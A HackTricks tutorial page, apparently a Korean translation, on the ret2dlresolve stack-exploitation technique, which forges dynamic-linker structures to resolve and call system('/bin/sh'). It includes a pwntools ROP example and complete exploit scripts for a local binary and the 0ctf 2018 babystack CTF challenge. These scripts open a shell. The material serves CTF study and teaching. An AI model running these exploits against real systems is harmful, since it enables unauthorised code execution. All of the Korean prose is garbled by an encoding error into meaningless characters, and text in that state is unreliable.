Ret2dlresolve

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Basic Information

GOT/PLT ๋ฐ Relro์— ๋Œ€ํ•œ ํŽ˜์ด์ง€์—์„œ ์„ค๋ช…ํ•œ ๋ฐ”์™€ ๊ฐ™์ด, Full Relro๊ฐ€ ์—†๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ์ฒ˜์Œ ์‚ฌ์šฉ๋  ๋•Œ ์™ธ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ๋Œ€ํ•œ ์ฃผ์†Œ์™€ ๊ฐ™์€ ๊ธฐํ˜ธ๋ฅผ ํ•ด๊ฒฐํ•ฉ๋‹ˆ๋‹ค. ์ด ํ•ด๊ฒฐ์€ _dl_runtime_resolve ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

_dl_runtime_resolve ํ•จ์ˆ˜๋Š” ์ง€์ •๋œ ๊ธฐํ˜ธ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•œ ๋ช‡ ๊ฐ€์ง€ ๊ตฌ์กฐ์ฒด์— ๋Œ€ํ•œ ์ฐธ์กฐ๋ฅผ ์Šคํƒ์—์„œ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์š”์ฒญ๋œ ๊ธฐํ˜ธ(์˜ˆ: system ํ•จ์ˆ˜)๋ฅผ ๋™์ ์œผ๋กœ ์—ฐ๊ฒฐ๋œ ํ•ด๊ฒฐ์„ ์œ„ํ•ด ๋ชจ๋“  ์ด๋Ÿฌํ•œ ๊ตฌ์กฐ์ฒด๋ฅผ ์œ„์กฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ตฌ์„ฑ๋œ ๋งค๊ฐœ๋ณ€์ˆ˜(์˜ˆ: system('/bin/sh'))๋กœ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์œผ๋กœ ์ด๋Ÿฌํ•œ ๋ชจ๋“  ๊ตฌ์กฐ์ฒด๋Š” ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋ฉ”๋ชจ๋ฆฌ์—์„œ read๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ์ดˆ๊ธฐ ROP ์ฒด์ธ์„ ๋งŒ๋“ค์–ด ์œ„์กฐ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ๊ตฌ์กฐ์ฒด์™€ ๋ฌธ์ž์—ด **'/bin/sh'**๊ฐ€ ์•Œ๋ ค์ง„ ์œ„์น˜์— ์ €์žฅ๋˜๋„๋ก ์ฝ๊ธฐ์— ์˜ํ•ด ์ „๋‹ฌ๋˜๊ณ , ์ดํ›„ ROP ์ฒด์ธ์€ **_dl_runtime_resolve**๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ๊ฐ€์งœ ๊ตฌ์กฐ์ฒด์—์„œ system์˜ ์ฃผ์†Œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ณ  ์ด ์ฃผ์†Œ๋ฅผ $'/bin/sh'์˜ ์ฃผ์†Œ๋กœ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.

Tip

์ด ๊ธฐ์ˆ ์€ syscall ๊ฐ€์ ฏ์ด ์—†๊ณ (ret2syscall ๋˜๋Š” SROP์™€ ๊ฐ™์€ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ) libc ์ฃผ์†Œ๋ฅผ ์œ ์ถœํ•  ๋ฐฉ๋ฒ•์ด ์—†์„ ๋•Œ ํŠนํžˆ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ธฐ์ˆ ์— ๋Œ€ํ•œ ์ข‹์€ ์„ค๋ช…์„ ๋น„๋””์˜ค ํ›„๋ฐ˜๋ถ€์—์„œ ํ™•์ธํ•˜์„ธ์š”:

- YouTube

๋˜๋Š” ๋‹จ๊ณ„๋ณ„ ์„ค๋ช…์„ ์œ„ํ•ด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

Attack Summary

  1. ์ผ๋ถ€ ์œ„์น˜์— ๊ฐ€์งœ ๊ตฌ์กฐ์ฒด ์ž‘์„ฑ
  2. system์˜ ์ฒซ ๋ฒˆ์งธ ์ธ์ˆ˜ ์„ค์ • ($rdi = &'/bin/sh')
  3. **_dl_runtime_resolve**๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด ์Šคํƒ์— ๊ตฌ์กฐ์ฒด์˜ ์ฃผ์†Œ ์„ค์ •
  4. ํ˜ธ์ถœ _dl_runtime_resolve
  5. **system**์ด ํ•ด๊ฒฐ๋˜๊ณ  '/bin/sh'๋ฅผ ์ธ์ˆ˜๋กœ ํ˜ธ์ถœ๋ฉ๋‹ˆ๋‹ค.

pwntools documentation์—์„œ ret2dlresolve ๊ณต๊ฒฉ์ด ์–ด๋–ป๊ฒŒ ๋ณด์ด๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”:

context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000:         0x400593 pop rdi; ret
0x0008:              0x0 [arg0] rdi = 0
0x0010:         0x400591 pop rsi; pop r15; ret
0x0018:         0x601e00 [arg1] rsi = 6299136
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x4003f0 read
0x0030:         0x400593 pop rdi; ret
0x0038:         0x601e48 [arg0] rdi = 6299208
0x0040:         0x4003e0 [plt_init] system
0x0048:          0x15670 [dlresolve index]

์˜ˆ์ œ

์ˆœ์ˆ˜ Pwntools

์—ฌ๊ธฐ์—์„œ ์ด ๊ธฐ์ˆ ์˜ ์˜ˆ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค ์ตœ์ข… ROP ์ฒด์ธ์— ๋Œ€ํ•œ ๋งค์šฐ ์ข‹์€ ์„ค๋ช…์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค, ํ•˜์ง€๋งŒ ์—ฌ๊ธฐ ์‚ฌ์šฉ๋œ ์ตœ์ข… ์ต์Šคํ”Œ๋กœ์ž‡์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()

์›์‹œ

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack

from pwn import *

target = process('./babystack')
#gdb.attach(target)

elf = ELF('babystack')

# Establish starts of various sections
bss = 0x804a020

dynstr = 0x804822c

dynsym = 0x80481cc

relplt = 0x80482b0

# Establish two functions

scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address

# Establish size of second payload

payload1_size = 43

# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug

payload0 = ""

payload0 += "0"*44                        # Filler from start of input to return address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in

target.send(payload0)

# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack

# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7

# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr

paylaod1 = ""

# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)

# Empty
paylaod1 += p32(0x0)

# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3

# Our dynstr entry
paylaod1 += "system\x00"

# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"

target.send(paylaod1)

# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system

# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35

# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt


paylaod2 = ""

paylaod2 += "0"*44
paylaod2 += resolve                 # 0x80482f0
paylaod2 += p32(ret_plt_offset)        # .rel.plt offset
paylaod2 += p32(0xdeadbeef)            # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address)    # Our argument, address of "/bin/sh"

target.send(paylaod2)

# Enjoy the shell!
target.interactive()

๋‹ค๋ฅธ ์˜ˆ์ œ ๋ฐ ์ฐธ๊ณ ์ž๋ฃŒ

  • https://youtu.be/ADULSwnQs-s
  • https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve
  • https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
  • 32๋น„ํŠธ, relro ์—†์Œ, ์นด๋‚˜๋ฆฌ ์—†์Œ, nx, pie ์—†์Œ, ๊ธฐ๋ณธ ์ž‘์€ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๋ฐ ๋ฐ˜ํ™˜. ์ด๋ฅผ ์ด์šฉํ•ด bof๋Š” .bss ์„น์…˜๊ณผ ๋” ํฐ ํฌ๊ธฐ๋กœ read๋ฅผ ๋‹ค์‹œ ํ˜ธ์ถœํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋ฉฐ, ๊ทธ๊ณณ์— dlresolve ๊ฐ€์งœ ํ…Œ์ด๋ธ”์„ ์ €์žฅํ•˜์—ฌ system์„ ๋กœ๋“œํ•˜๊ณ , main์œผ๋กœ ๋ฐ˜ํ™˜ํ•œ ํ›„ ์ดˆ๊ธฐ bof๋ฅผ ์žฌ์‚ฌ์šฉํ•˜์—ฌ dlresolve๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  system('/bin/sh')๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ